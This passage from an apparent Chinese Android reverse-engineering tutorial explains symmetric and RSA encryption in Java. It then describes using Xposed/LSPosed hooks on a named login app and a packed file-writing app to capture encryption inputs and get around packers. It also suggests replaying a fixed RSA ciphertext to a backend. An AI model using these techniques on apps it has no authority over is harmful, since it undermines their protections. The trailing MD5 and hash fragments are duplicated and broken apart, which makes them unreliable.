我们可以看到从加密前的\\"12345678\\"到加密后的\\"ZEi7hkmMp+Dr8CE3zdeHkg==\\",再到解密后得到的明文\\"12345678\\"这么一个完整的过程。但这里要注意的是加密和解密的过程是相对的,比如说上面的代码中对于明文的加密流程是先通过getBytes方法将明文转换为byte 序列,然后再进行加密操作并返回密文,最后把密文进行BASE64编码操作;我们再来看看上面代码中解密的过程,因为加密和解密的过程是相对的,所以你在代码中可以看到解密的第一步是先对密文进行BASE64解码操作,然后再进行解密操作,最后把解密后的内容转换为字符串,从而得到最后的明文。
DES对称加密算法我们就讲到这,接下来我们快速了解DESede对称加密算法,其实这两种对称加密算法是差不多的,要说区别有这么几种,在讲区别之前我们先来看看DESede对称加密算法如何使用JAVA代码实现:
1. 引入的类和包
2. 类功能
该类的功能是通过 DESede 算法加密和解密文本。DESede 是通过三重 DES (Triple DES)算法实现的一个变种,提供比单一 DES 更强的安全性。
3. 主要方法
3.1 DESedeDecode(String keys, String values)
该方法负责执行 DESede 解密操作。
3.2 main(String[] args)
主方法用于演示加密和解密的过程。
步骤
:
4. 使用示例
假设密钥为 123456781234567812345678
,要加密的明文为 a12345678
,它的过程如下:
我们简单的了解了以上代码,我们可以看出这两种算法最明显的区别是密钥的长度不一样,一个是八位的,一个是二十四位的。其次就是使用的实例化函数和实例化得到的结果不一样,还有就是SecretKeyFactory.getInstance函数指明的类型也是不一样的,其他的地方就是差不多的。
好了,简单的过了DESede对称加密算法,我们接下来去了解下一个常用的对称加密算法——AES;废话不多说,直接上代码:
1. 引入的类和包
2. 类功能
该类的功能是使用 AES 算法对文本数据进行加密和解密。引入了初始化向量(IV)以增强加密安全性。
3. 主要方法
3.1 encrypt(String data, String key, String iv)
此方法负责执行 AES 加密操作。
3.2 decrypt(String data, String key, String iv)
此方法负责执行 AES 解密操作。
3.3 main(String[] args)
主方法用于演示加密和解密的过程。
步骤
:
4. 使用示例
假设要加密的文本为 a12345678
,密钥和 IV 均为 1234567890abcdef
。执行过程如下:
我们来运行一下以上代码,看看结果如何:
通过看代码我们其实也能发现AES对称加密算法和前两种对称加密算法的一些区别,但写法上是差不多的。而AES与其他两种的区别就比如说最明显的就是AES对称加密在密钥实例化时用的是SecretKeySpec方法,而该方法其实是通用的,其实前两种对称加密算法也可以用该方法进行密钥实例化的,只不过前两种对称加密算法是有专门的方法来进行密钥实例化的,而AES是没有的,只能通过该方法来进行密钥实例化。
到此为止常见的对称加密算法就基本讲完了,那接下来就讲讲非对称加密算法,而在非对称加密算法的使用中比较常见的就是RSA算法。非对称加密算法和对称加密算法最大的区别就是加解密使用不同的密钥,它是有一个公钥和一个私钥的,这两把密钥之间是有联系的。还有一个点就是对称加密的密钥是可以随便写的,但是非对称加密的密钥是由函数来生成的,而且通过公钥是推导不出来私钥的,但私钥里面是包含公钥信息的,所以可以通过私钥来得到公钥的。
我们可以通过一些网站或者工具生成RSA的公钥和私钥,我们去试试看:
我们可以看到私钥的长度比公钥的长度长很多,前面讲过私钥里面是包含公钥信息的;我们往上看,可以看到在可以选择的内容中有密钥长度,而密钥长度越长它加密的时间自然也就越长,也越安全,而且在非对称加密算法中你密钥的长度决定了你明文的长度,所以在密钥长度中用的比较多的是1024位,也就是128字节,除了1024位之外还有2048位、4096位以及512位,但512位现在几乎没什么人用了,4096位也用的少,主要还是1024位以及2048位用的多点。
我们可以从上面看出非对称加密算法加密处理还是很安全的,但是性能极差,而且单次加密长度还有限制,也就是说非对称加密算法单次加密对于明文长度是有限制的,不是像对称加密一样对于明文加密是没有长度限制的。而明文的最大字节数是根据密钥长度来决定的,所以这个密钥的位数是比较重要的。但是明文的最大字节数具体是多少会跟填充方式会有一定的关系,比如说当填充方式为PKCS1Padding时,明文的最大字节数为密钥字节数-11,密文与密钥等长;当填充方式为NoPadding时,明文的最大字节数为密钥字节数,密文与密钥等长。
我们在前面的文章讲过非对称加密的常见用法:
第一步:服务器会将非对称加密中的公钥发送给浏览器,浏览器生成一串随机数字,而这串随机数字使用服务器发送过来的公钥进行加密。
第二步:将通过公钥加密的随机数字发送给服务器,服务器接收后使用私钥进行解密,这样双方就都得到了一个同样的随机数字,而这个随机数字可以作为对称加密的密钥。
第三步:使用随机数字作为密钥对真正需要传递的数据进行加密传输。
而当我们逆向的时候我们是可以取巧的,至于怎么取巧且听我娓娓道来:
首先假设每一次随机生成的密钥都是一样的,那么通过RSA非对称加密算法加密的结果都是一样的,当然也有情况加密的结果是不一样的,比如说填充方式为PKCS1Padding,即使是这样那解密出来的结果也是一样的。是不是有点绕,你想想每次RSA对称加密的加密结果都不同,但不管它怎么变,后台解密出来的都是一个明文,那我们是不是可以把RSA对称加密的加密结果给固定下来,这样一来提交给后台解密出来的明文还是那个明文。这样做的好处就是逆向算法的时候RSA算法就不用找了,而是直接把加密结果固定下来就可以了。
讲了这么多关于非对称加密算法的理论,我们还是来讲讲怎么用JAVA代码来实现RSA加密算法吧!RSA加密算法有两种不同的写法,分别是base64版和hex版,我们一个个来了解,因为这两个不同的写法在我们逆向的时候都有可能会遇到。
base64版:
上面的代码看起来很长,没关系我们下面对其进行逐步详解:
1. 包与依赖
这行代码定义了代码的包名,便于组织和管理 Java 类。
2. 导入必要的类
3. 类定义与成员变量
4. 静态初始化块
这个静态块在类加载时执行,初始化了 Base64 编码和解码的实例。
5. 获取公钥与私钥的方法
这两个方法从 Base64 编码的字符串中生成相应的公钥和私钥。
6. 加密与解密方法
7. 将字节数组转换为十六进制字符串
这个方法将字节数组转换为其对应的十六进制字符串,以便于输出和查看。
8. 主方法
主方法中:
在base64版中如果我们想要通过HOOK获取明文,你仔细看可以发现应当通过HOOK函数X509EncodedKeySpec来获取到其参数,而这个参数便是我们要获取的明文信息。
hex版:
还是一样,我们下面将对代码的详细逐部分解释:
1. 导入和包声明
2. 属性定义
定义了四个
类型的静态属性,用来存储公钥和私钥的参数:
3. 加密方法
4. 解密方法
5. 创建公私钥对象
6. 字节数组转十六进制字符串
7. 密钥生成与加密解密示例
8. 主方法
现在对于RSA加密算法的两种不同写法有一定了解了对吧!那么在这过程中,大家应该都好奇过为什么可以做到一把公钥和一把私钥可以做到公钥加密而公钥无法解密,只能私钥解密这个问题吧?
RSA的安全性主要基于大数分解问题。为了我们大家更好的理解为什么在RSA中公钥用于加密而私钥用于解密,我们可以从以下几个方面进行分析:
第一步我们需要选择两个大质数 p 和 q。
第二步计算n,计算n的公式为n=p×q,这个 n 将被用作公钥和私钥的一部分。
第三步计算欧拉函数,我们不需要知道欧拉函数是怎么样推导过来的,我们只需要知道欧拉函数的公式为ϕ(n)(欧拉函数)=(p−1)×(q−1)。
第四步选择公钥e,选择公钥e要满足三个条件,分别是公钥e必须是质数、公钥e必须是大于1并且小于ϕ(n) 的整数、公钥e必须与ϕ(n)互质,也就是公钥e不能是ϕ(n)的因子。通过这些条件的筛选就可以得到一些数字,就可以在这些数字里进行挑选作为公钥e。
第五步计算私钥d,计算私钥d只需要满足一个公式,也就是(d * e) % ϕ(n) = 1。
最终生成的公钥为(n,e),而私钥为(n,d)。
我们有了公钥和私钥,就可以简单的模拟加解密的过程了,假设我们有明文m,使用公钥 (n,e) 进行加密,生成密文 c。那么加密过程可以简化为公式c = (m^e) % n。
而解密呢?解密使用私钥(n,d)进行解密,恢复明文m。解密过程可以简化为公式m = (c^d) % n 。
我们回顾制作公私钥对和非对称加解密的过程,这个算法不想被破解核心点就在不能让人知道私钥中的数字d,而要想知道d就需要e和ϕ(n),因为e是公钥,所以e是被公开的,因此ϕ(n)是算出d的重要数字,而我们要算出ϕ(n)就需要p和q两个大质数,核心点就在于这两个大质数了,为什么叫它们大质数,因为只有当p和q这两个质数足够大时,不管ϕ(n)还是n都会变得十分的大,这样计算出公钥对应的私钥才会变得异常困难。
现在我们了解了加解密常用的算法的实现原理以及Java代码如何使用算法进行加密,那学习了加解密那我们需要去追算法,其实追算法在之前就玩过,这次再讲这个未免有点太无聊了,所以我们要学习一个十分常用的技能来帮助我们追算法,那就是大名鼎鼎的Hook!!!
想要了解Hook,Hook 英文翻译过来就是钩子的意思,那我们就绕不开Xposed,而Xposed 框架是一个运行在 Android 操作系统之上的钩子框架,用钩子来进行表示是十分形象的,它能够在事件开始到事件结束这个期间进行截获并监控事件的传输,以及可以对事件进行自定义的处理。
Hook技术可以让一个程序的代码“植入”到另一个程序的进程中,成为目标程序的一部分。API Hook技术可以改变系统API函数的执行结果,让它执行重定向。在Android系统中,普通用户程序的进程是独立的,相互不干扰。这就意味着我们不能直接通过一个程序来改变其他程序的行为。但是有了Hook技术,我们可以实现这个想法。根据Hook对象和处理事件的方式不同,Hook还可以分为不同的种类,比如消息Hook和API Hook。
Xposed 框架的主要作用是允许用户在不修改 APK 文件的情况下定制和修改系统和应用程序的行为。通过使用 Xposed 框架,用户可以安装各种模块来实现一些定制化的功能,比如修改系统界面、增强应用程序功能、屏蔽广告等。这些模块利用 Xposed 框架提供的钩子机制来实现对系统和应用程序的修改和定制。只可惜现在Xposed框架已经不再维护了,仅支持2.3-8.1的安卓版本,但还好有一些的衍生框架可以支持,如EDXposed、LSPosed、VirtualXposed、太极、两仪、天鉴等。
但是不管怎么样,衍生框架都是基于Xposed的,我们这还是主讲Xposed,下面将开始讲如何使用Xposed框架。
如果想要看Xposed官方文档,可以看这篇文章:
Development tutorial · rovo89/XposedBridge Wiki (github.com)
如果觉得英文看得费劲,那可以看这篇文章:
Xposed模块开发入门保姆级教程 - 狐言狐语和仙贝的魔法学习记录 (ketal.icu)
如果还觉得环境好麻烦啊!我不想准备环境,那可以看这篇文章:
《安卓逆向这档事》七、Sorry,会Hook真的可以为所欲为-Xposed快速上手(上)模块编.. - 『移动安全区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn
如果想对Xposed源码及其原理更加深入一点的了解,可以看这篇文章,包括我下面关于Xposed的原理也是参考于随风而行aa大佬的这篇文章:
[原创]源码编译(3)——Xposed框架定制-Android安全-看雪-安全社区|安全招聘|kanxue.com
环境配置什么的我就省略了,我们直接步入正题,开始尝试Hook,以下使用的是Lsposed进行的Hook。
遇到某些情况怎么怎么解决,其他博主那也有写,我就不多做介绍了,我们直接进行实战,在实战中了解那些代码的作用以及该怎么灵活运用。
开始还是用个熟悉的APP来做演示,那就觉得是你了——X嘟牛!之前关于X嘟牛登录相关的加解密已经讲解过了,这次就不多赘述,只截取X嘟牛中的相关代码,如果想要了解之前的加解密讲解可以移步去此处:
[原创][原创]安卓逆向基础知识之动态调试以及安卓逆向的那些常规手段-Android安全-看雪-安全社区|安全招聘|kanxue.com
好了,废话就先讲到这,接下来就正式进入实战,让我们一起来揭开Hook的神秘面纱!
当我们准备好环境后,我们先新建一个名为Hook01的hook类,该类最开始的Hook代码就只是这样的:
Hook01类新建完成后,我们的Hook操作都在这个类里面完成。首先我们是要对X嘟牛进行Hook,最好是将其他APP排除在外,只对X嘟牛进行Hook。因为我们新建的Hook01类实现了接口IXposedHookLoadPackage,并且实现了该接口中关键的方法handleLoadPackage(XC_LoadPackage.LoadPackageParam loadPackageParam),而该方法会在每个应用程序启动时被调用,因此我们需要通过目标包名进行筛选。所以我们可以通过对包名进行判断,从而将X嘟牛之外的APP都排除在外。
但是我不知道为什么我的环境中这么写不会执行if语句中的内容,所以我一般只能这么写:
但是这就会出现一个问题,那岂不是我每要hook一个APP,那岂不是都要重新创建一个新的项目?不需要如此麻烦,完成Xposed环境搭建的小伙伴们还记不记得在main下新建的assets文件夹,我们是需要在assets目录下新建xposed_init,在里面写上hook类的完整路径(包名+类名),而xposed_init中可以定义多个类,每一个类写一行,如下图所示:
这样我们就解决了每要hook一个APP就需要重新创建一个新的项目的问题。接下来我们该思考如何对X嘟牛进行Hook,在一般的情况下我们应该对APP进行查壳,看这个APP有没有壳,但这次不是一般的情况,因为知道X嘟牛是没有进行加壳的,那如果我们遇到加壳的APP除了进行脱壳之外还有什么办法吗?诶!还真有,只不过不能应对所有的壳,只能也能应对绝大多数的免费壳了。我们可以使用以下代码来解决绝大多数的加壳:
以上代码主要用于在 Android 应用的生命周期内对 Application
类的 attach
方法进行 Hook 操作。attach方法是 Application
类中的一个方法。这是一个内部方法,用于初始化 Application
实例并设置其上下文。
可以看到我们对attach方法进行Hook主要是获取param.args[0]
,而param.args[0]是attach
方法的第一个参数,即上下文对象 Context
。随后,通过Context获取ClassLoader,ClassLoader
是一个用于加载类的对象,可以在后面的 Hook 逻辑中使用。
这种方式不仅仅可以应对加壳这种情况,我们还可以通过这种方式Hook多个dex文件,因为一个dex文件最多只能存在65535个方法,如果超过这个数量就会重新生成一个新的dex文件。所以正常情况下APP可能会有多个dex文件,如果我们要hook的方法不是在第一个dex文件中,我们就需要通过这种方式将需要Hook的方法的类加载进来,然后再进行Hook操作。
但是这个用于测试的这个X嘟牛既没有加壳也没有多个dex文件,那这里就不需要如此这般去获取类的加载器,在之前讲动态调试的那篇帖子中分析过X嘟牛,它在对称加密之前使用过MD5消息摘要算法,并将MD5处理过后的结果存入Map中的“sign”键值对中,那我们第一步hook的便是X嘟牛中的这个MD5消息摘要算法:
这里我们就需要通过Xposed进行Hook来获取md5方法的参数和返回值,我们可以看到md5方法的参数只有一个字符串类型的参数,返回值的类型也同为字符串类型,那么我们可以如此写Hook代码:
看完了这段hook代码,你们可能会认为printStackTrace()方法是系统自带的用于打印当前调用栈的方法,然而并不是,这个是一个自定义的方法,以下是printStackTrace()方法的完整代码:
那么我们写完了这个Hook代码,那么我们运行下看看效果:
我们可以从上图看出蓝色的日志为md5方法的参数,黄色的日志为md5方法的返回值,而绿色的日志就是md5方法当前的调用栈,这个栈怎么看呢?很简单,你看栈最上面那个方法是不是很熟悉,没错那就是我们写的打印当前调用栈的printStackTrace方法;再往下看还能看到熟悉的身影,比如beforeHookedMethod方法,那么我们Hook的那个方法是哪个呢?其实就是调用栈中显示的LSPHooker_.md5,在这个方法的上面是LSPosed调用的方法不用管,在这个方法的下面才是有价值的信息。
我们可以通过调用栈看到调用md5方法的是com.dodonew.online.http.RequestUtil类下的paraMap方法,大家可能对之前分析的paraMap方法没有多少印象了,以下是paraMap方法的代码:
我们可以看到以上代码中对拼接后的URL参数字符串进行MD5加密,并将加密结果存入Map中的“sign”键值对中。那么我们接下来就Hook这个方法,来获取这个方法的参数和返回值。
这一次还是使用XposedHelpers.findAndHookMethod方法来Hook,这个方法参数要么需要类名和类加载器,要么就需要给它类的class对象,除此之外还需要提供要Hook方法的参数类型,那么有些参数的类型是自定义类型那又该如何应对呢?其实有办法可以解决这个问题,就是会要摒弃这种精准打击,而是直接进行火力覆盖,至于具体如何实现我们稍后揭晓。
我们先来看看hook成功后得到的参数和返回值吧!
我们成功的获取到了paraMap方法的参数和返回值,你看到现在可能觉得一直在获取参数和返回值有些无聊了,那我们去玩点有意思的,至于是什么有意思的,我们继续往下走就知道了。
运行完paraMap方法后,X嘟牛会把paraMap方法的返回值进行Des加密,那么我们先来回顾一下这个方法:
在RequestUtil类下一共有三个关于DES加解密的方法,我们要Hook的是第二个Des加密方法,这里进行Hook我们依旧可以使用之前的那种方式进行Hook,但是一直使用那种方式是无聊的,经过我测试之后,我们这次就来进行火力覆盖,甭管它多少个参数,参数是什么奇奇怪怪的类型,它都能Hook到。
还记得JAVA当中有一个概念叫做重载的吗?所谓的重载其实就是在一个类里面,方法名字相同,而参数不同。返回类型可以相同也可以不同。而在以上代码中encodeDesMap方法即是重载方法,而我们要实现火力覆盖其实就是不管方法的参数和返回值是多少,只要方法名字是对的,那就会全Hook了,也可以说是会把指定方法的重载方法全部Hook了。
我测试过了,参数为四个String类型,返回值为Map类型的那个encodeDesMap方法并未被调用,我们可以直接进行火力覆盖来作为演示,在这之前我们再多干点事情,encodeDesMap方法会使用 DES 加密算法对给定的数据字符串进行加密,那么我们在encodeDesMap方法执行之后,就调用decodeDesJson方法把加密后的结果进行解密,来看看加密后再用自己的方法进行解密,结果是不是一致。
我们来看看结果是否如我们所愿:
可以从上图看出来,我们通过Hook所有的encodeDesMap方法也如愿得到了我们需要的那三个参数和返回值,而且我们在encodeDesMap方法调用之后调用 decodeDesJson 静态方法也成功的解密了密文,我们可以看到加密前和解密后的源数据是相同的。
在这一次实例中我们学会了如何Hook普通方法,学会了如何Hook带有复杂的、自定义的参数的方法,还学会了如何调用静态方法,这里还提一嘴,调用静态方法是使用XposedHelpers.callStaticMethod来实现,而调用实例方法其实也差不多:
X嘟牛我们已经完成Hook了,但是关于Hook可还没有结束,现在大家对于Hook也大概知道是个怎么回事了,那么我们可以去尝试写稍微复杂点的Hook代码了,接下来我们要Hook的程序是一个写入程序,它会把文件写入到一个地址去,而我们要做的就是找到这个程序它把文件写入到了哪里。
第一步我们还是需要对这个APP进行查壳,看是否有壳:
可以看到这个APP是有壳的,现在我们还对脱壳与修复知之甚少,所以我们只能使用对 Application
类的 attach
方法进行 Hook 操作来获取上下文对象,从而获取类加载器来应付加壳的情况。那我们赶紧试试是否有效吧!
那么我们第一步该怎么做呢?不急我们先来看看这个程序在写入时有什么特征:
我们可以看到它成功写入时会使用Toast.makeText方法在屏幕上显示短暂的提示信息,那么我们可以尝试将它作为突破口进行Hook。
我们尝试运行一下,看能否打印出我们要的堆栈信息:
我们可以从堆栈信息中看出调用传入参数包含写入成功的android.widget.Toast类下makeText方法的,是com.e4a.runtime.android.mainActivity类下的弹出提示方法,你们肯定好奇为什么这玩意的方法名还是中文,其实这个APP是用E4A写的,E4A又称易安卓,是一个快速上手操作简便的中文开发安卓程序的软件,所以有中文是正常的。
那么我们尝试把调用堆栈中有价值的方法进行Hook,我们需要先看看这些有价值的方法都有什么特征。可以看出有价值的方法所属类都有两个共同点,就是类名要么包含com.e4a.runtime或者要么包含com.PASSWPZZ,那我们可以获取堆栈跟踪元素后进行Hook,什么意思呢?其实就是把之前的打印堆栈信息中遍历堆栈跟踪元素后就不直接打印它们的信息了,而是获取到它们的类名和方法名,这样是不是就可以进行Hook了,为了确认没有Hook错方法,我们就把Hook了的堆栈跟踪元素的信息打印确认一下即可。这样是不是就可以获取到这些方法的参数和返回值了?事不宜迟,咱们说干就干!
让我们来看看运行以上代码得到的结果是否如我们所愿吧!
可以从上图看出以上的方法确实是我们需要Hook的有价值的方法,那这些方法的参数和返回值是怎样的呢?如下图所示:
可以从上图看出来这些方法的参数没有一个像文件存储路径的,那这该怎么办?我们是不是没办法解决了,小问题,既然这条路走不通,那就换条路走,比如说Hook写入文件的方法。
如果要Hook写入文件的方法,安卓的写入文件有好几种写入方式,我们不知道这个APP是使用的哪种写入文件的方式,这种情况我们也只能一种种方式去尝试,那么我们先了解一下Java的IO流。
开发者在Android中使用Java的IO流可以轻松地进行文件的读取和写入操作。对于本地文件系统,FileInputStream
和FileOutputStream
是常用的类,适用于处理各类文件。接下来我们对Java的IO流进行讲解:
1. IO流简介
IO流(输入/输出流)是Java中处理文件和数据流的一种方式,它提供了对数据的读取(输入)和写入(输出)的能力。
2. FileInputStream和FileOutputStream
3. 优缺点分析
优点:
缺点:
4. 代码示例
以下是一段Java的IO流代码示例:
代码说明:
好了,现在我们对Java的IO流有了了解,现在大家应该知道我们需要Hook什么方法了吧!没错就是Hook构造方法,FileOutputStream类下的构造方法,这样我们就可以获取到写入文件的路径。
我们可以通过XposedBridge.hookAllConstructors方法来Hook指定类的所有构造函数,这里我们除了打印它的参数以外,我们还打印了堆栈信息,主要是想看看是什么方法调用了Java的IO流来写入文件。
我们打开日志一看,第一眼就看到了泛着黄光的文件路径,看来我们思路没有找错,那我们赶紧去看看这个路径下写入的文件吧!
看来我们确实找到了写入文件的路径,但我们Hook就这样结束了?不不不,我们还有些好玩的没有尝试,即使已经Hook到了我们要的内容。现在我们不仅有了写入文件的路径,还有了其堆栈信息,我们可以从堆栈信息中看出com.e4a.runtime.文件操作类是进行写入文件的主要类,那么接下来我们换一种方法来Hook写入文件的路径,我们可以通过此种方式Hook到指定类下的所有方法。
我们在Hook到指定类下的所有方法之前,先看看指定类下类名、方法个数以及所有的方法名称,这样我们对类下的情况就更加的清楚了,这样写Hook代码时就更加的方便了。
我们可以看到文件操作类下有46个方法,还挺多的,接下来我们就需要用到java中的反射来Hook指定类下的所有方法。
主要就是通过类加载器将类的class对象成功加载,这个类的class对象是可以给反射用的,这样就可以通过反射来获取类下的所有方法,从而帮助我们进行Hook代码的编写。
参数有很多,但是有价值的也就后面出现的写入文件的路径。这个方法虽然看起来比之前的麻烦的多,但这个方式只要你确定你要的东西在一个类中,就可以直接火力覆盖,管它什么牛鬼蛇神全给它Hook就完事了。
这次关于Hook的写法我在实战中并不会全部都用上,我只是把我觉得有意思的方法写下来,如果要全面的学习写Hook代码,可以在网上搜索其他大佬写的博客,相信大家一定会有收获的。
字符 | \\n二进制位 | \\n
---|---|
a | \\n01100001 | \\n
b | \\n01100010 | \\n
c | \\n01100011 | \\n
abc | \\n01100001 01100010 01100011 | \\n
按顺序读取的六个二进制位 | \\n转换得到的十进制 | \\nbase编码表对应字符 | \\n
---|---|---|
011000 | \\n24 | \\nY | \\n
01 0110 | \\n22 | \\nW | \\n
0010 01 | \\n9 | \\nJ | \\n
100011 | \\n35 | \\nj | \\n
按顺序读取的六个二进制位 | \\n转换得到的十进制 | \\nbase编码表对应字符 | \\n
---|---|---|
011000 | \\n24 | \\nY | \\n
01 0110 | \\n22 | \\nW | \\n
0010 01 | \\n9 | \\nJ | \\n
100011 | \\n35 | \\nj | \\n
011001 | \\n33 | \\nh | \\n
00 (0000) | \\n0 | \\nA | \\n
(000000) | \\n0 | \\nA | \\n
(000000) | \\n0 | \\nA | \\n
base64字符 | \\n字符对应的十进制 | \\n六个二进制位为一组的字节(base64) | \\n八个二进制位为一组的字节 | \\n八位一字节对应的字符 | \\n删除补充字节后的字节 | \\n最后得到的字符 | \\n
---|---|---|---|---|---|---|
Y | \\n24 | \\n011000 | \\n011000 01 | \\na | \\n01100001 | \\na | \\n
W | \\n22 | \\n010110 | \\n0110 0010 | \\nb | \\n01100010 | \\nb | \\n
J | \\n9 | \\n001001 | \\n01 100011 | \\nc | \\n01100011 | \\nc | \\n
j | \\n35 | \\n100011 | \\n011001 00 | \\nd | \\n01100100 | \\nd | \\n
h | \\n33 | \\n011001 | \\n0000 0000 | \\n补充字节 | \\n\\n | \\n |
A | \\n0 | \\n000000 | \\n00 000000 | \\n补充字节 | \\n\\n | \\n |
= | \\n0 | \\n000000 | \\n\\n | \\n | \\n | \\n |
= | \\n0 | \\n000000 | \\n\\n | \\n | \\n | \\n |
A:
0x67452301
\\nB:
0xefcdab89
\\nC:
0x98badcfe
\\nD:
0x10325476
\\na
=
A; b
=
B; c
=
C; d
=
D;
\\nA:
0x67452301
\\nB:
0xefcdab89
\\nC:
0x98badcfe
\\nD:
0x10325476
\\na
=
A; b
=
B; c
=
C; d
=
D;
\\nA
=
a
+
A;
\\nB
=
b
+
B;
\\nC
=
c
+
C;
\\nD
=
d
+
D;
\\nA
=
a
+
A;
\\nB
=
b
+
B;
\\nC
=
c
+
C;
\\nD
=
d
+
D;
\\na
=
((a
+
F
+
K[i]
+
M[g])<<s[i])
+
b
\\na
=
((a
+
F
+
K[i]
+
M[g])<<s[i])
+
b
\\nif
(
0
<
=
i <
=
15
){
\\n
F1
=
F(b, c, d);
\\n
g
=
i;
\\n}
else
if
(
16
<
=
i <
=
31
){
\\n
F2
=
G(b, c, d);
\\n
g
=
((i
*
5
)
+
1
)
%
16
;
\\n}
else
if
(
32
<
=
i <
=
47
){
\\n
F3
=
H(b, c, d);
\\n
g
=
((i
*
3
)
+
5
)
%
16
;
\\n}
else
{
\\n
F4
=
I(b, c, d);
\\n
g
=
(i
*
7
)
%
16
;
\\n}
if
(
0
<
=
i <
=
15
){
\\n
F1
=
F(b, c, d);
\\n
g
=
i;
\\n}
else
if
(
16
<
=
i <
=
31
){
\\n
F2
=
G(b, c, d);
\\n
g
=
((i
*
5
)
+
1
)
%
16
;
\\n}
else
if
(
32
<
=
i <
=
47
){
\\n
F3
=
H(b, c, d);
\\n
g
=
((i
*
3
)
+
5
)
%
16
;
\\n}
else
{
\\n
F4
=
I(b, c, d);
\\n
g
=
(i
*
7
)
%
16
;
\\n}
F(X, Y, Z)
=
(X & Y) | (~X & Z)
\\nG(X, Y, Z)
=
(X & Z) | (Y & ~Z)
\\nH(X, Y, Z)
=
X ^ Y ^ Z
\\nI(X, Y, Z)
=
Y ^ (X | ~Z)
\\nF(X, Y, Z)
=
(X & Y) | (~X & Z)
\\nG(X, Y, Z)
=
(X & Z) | (Y & ~Z)
\\nH(X, Y, Z)
=
X ^ Y ^ Z
\\nI(X, Y, Z)
=
Y ^ (X | ~Z)
\\nK[]
=
{
0xd76aa478
,
0xe8c7b756
,
0x242070db
,
0xc1bdceee
,
\\n
0xf57c0faf
,
0x4787c62a
,
0xa8304613
,
0xfd469501
,
\\n
0x698098d8
,
0x8b44f7af
,
0xffff5bb1
,
0x895cd7be
,
\\n
0x6b901122
,
0xfd987193
,
0xa679438e
,
0x49b40821
,
\\n
0xf61e2562
,
0xc040b340
,
0x265e5a51
,
0xe9b6c7aa
,
\\n
0xd62f105d
,
0x02441453
,
0xd8a1e681
,
0xe7d3fbc8
,
\\n
0x21e1cde6
,
0xc33707d6
,
0xf4d50d87
,
0x455a14ed
,
\\n
0xa9e3e905
,
0xfcefa3f8
,
0x676f02d9
,
0x8d2a4c8a
,
\\n
0xfffa3942
,
0x8771f681
,
0x6d9d6122
,
0xfde5380c
,
\\n
0xa4beea44
,
0x4bdecfa9
,
0xf6bb4b60
,
0xbebfbc70
,
\\n
0x289b7ec6
,
0xeaa127fa
,
0xd4ef3085
,
0x04881d05
,
\\n
0xd9d4d039
,
0xe6db99e5
,
0x1fa27cf8
,
0xc4ac5665
,
\\n
0xf4292244
,
0x432aff97
,
0xab9423a7
,
0xfc93a039
,
\\n
0x655b59c3
,
0x8f0ccc92
,
0xffeff47d
,
0x85845dd1
,
\\n
0x6fa87e4f
,
0xfe2ce6e0
,
0xa3014314
,
0x4e0811a1
,
\\n
0xf7537e82
,
0xbd3af235
,
0x2ad7d2bb
,
0xeb86d391
}
\\nK[]
=
{
0xd76aa478
,
0xe8c7b756
,
0x242070db
,
0xc1bdceee
,
\\n
0xf57c0faf
,
0x4787c62a
,
0xa8304613
,
0xfd469501
,
\\n
0x698098d8
,
0x8b44f7af
,
0xffff5bb1
,
0x895cd7be
,
\\n
0x6b901122
,
0xfd987193
,
0xa679438e
,
0x49b40821
,
\\n
0xf61e2562
,
0xc040b340
,
0x265e5a51
,
0xe9b6c7aa
,
\\n
0xd62f105d
,
0x02441453
,
0xd8a1e681
,
0xe7d3fbc8
,
\\n
0x21e1cde6
,
0xc33707d6
,
0xf4d50d87
,
0x455a14ed
,
\\n
0xa9e3e905
,
0xfcefa3f8
,
0x676f02d9
,
0x8d2a4c8a
,
\\n
0xfffa3942
,
0x8771f681
,
0x6d9d6122
,
0xfde5380c
,
\\n
0xa4beea44
,
0x4bdecfa9
,
0xf6bb4b60
,
0xbebfbc70
,
\\n
0x289b7ec6
,
0xeaa127fa
,
0xd4ef3085
,
0x04881d05
,
\\n
0xd9d4d039
,
0xe6db99e5
,
0x1fa27cf8
,
0xc4ac5665
,
\\n
0xf4292244
,
0x432aff97
,
0xab9423a7
,
0xfc93a039
,
\\n
0x655b59c3
,
0x8f0ccc92
,
0xffeff47d
,
0x85845dd1
,
\\n
0x6fa87e4f
,
0xfe2ce6e0
,
0xa3014314
,
0x4e0811a1
,
\\n
0xf7537e82
,
0xbd3af235
,
0x2ad7d2bb
,
0xeb86d391
}
\\nS[]
=
{
7
,
12
,
17
,
22
,
7
,
12
,
17
,
22
,
7
,
12
,
17
,
22
,
7
,
12
,
17
,
22
,
\\n
5
,
9
,
14
,
20
,
5
,
9
,
14
,
20
,
5
,
9
,
14
,
20
,
5
,
9
,
14
,
20
,
\\n
4
,
11
,
16
,
23
,
4
,
11
,
16
,
23
,
4
,
11
,
16
,
23
,
4
,
11
,
16
,
23
,
\\n
6
,
10
,
15
,
21
,
6
,
10
,
15
,
21
,
6
,
10
,
15
,
21
,
6
,
10
,
15
,
21
}
\\nS[]
=
{
7
,
12
,
17
,
22
,
7
,
12
,
17
,
22
,
7
,
12
,
17
,
22
,
7
,
12
,
17
,
22
,
\\n
5
,
9
,
14
,
20
,
5
,
9
,
14
,
20
,
5
,
9
,
14
,
20
,
5
,
9
,
14
,
20
,
\\n
4
,
11
,
16
,
23
,
4
,
11
,
16
,
23
,
4
,
11
,
16
,
23
,
4
,
11
,
16
,
23
,
\\n
6
,
10
,
15
,
21
,
6
,
10
,
15
,
21
,
6
,
10
,
15
,
21
,
6
,
10
,
15
,
21
}
\\nMD5
Hash
:
65a8e27d8879283831b664bd8b7f0ad4
\\nMD5
Hash
:
65a8e27d8879283831b664bd8b7f0ad4
\\n算法 | \\n摘要长度 | \\n
---|---|
SHA-1 | \\n160 | \\n
SHA-224 | \\n224 | \\n
SHA-256 | \\n256 | \\n
SHA-384 | \\n384 | \\n
SHA-512 | \\n512 | \\n
SHA
Hash
: dffd6021bb2bd5b0af676290809ec3a53191dd81c7f70a4b28688a362182986f
\\nSHA
Hash
: dffd6021bb2bd5b0af676290809ec3a53191dd81c7f70a4b28688a362182986f
\\n算法 | \\n摘要长度 | \\n
---|---|
HmacMD5 | \\n128 | \\n
HmacSHA1 | \\n160 | \\n
HmacSHA256 | \\n256 | \\n
HmacSHA384 | \\n384 | \\n
HmacSHA512 | \\n512 | \\n
HmacMD2 | \\n128 | \\n
HmacMD4 | \\n128 | \\n
HmacSHA224 | \\n224 | \\n
Message Digest:
57e61895de001a806d5a22ba0e4ee2011a02c258f00e121165ba855dbf271321
\\nMessage Digest:
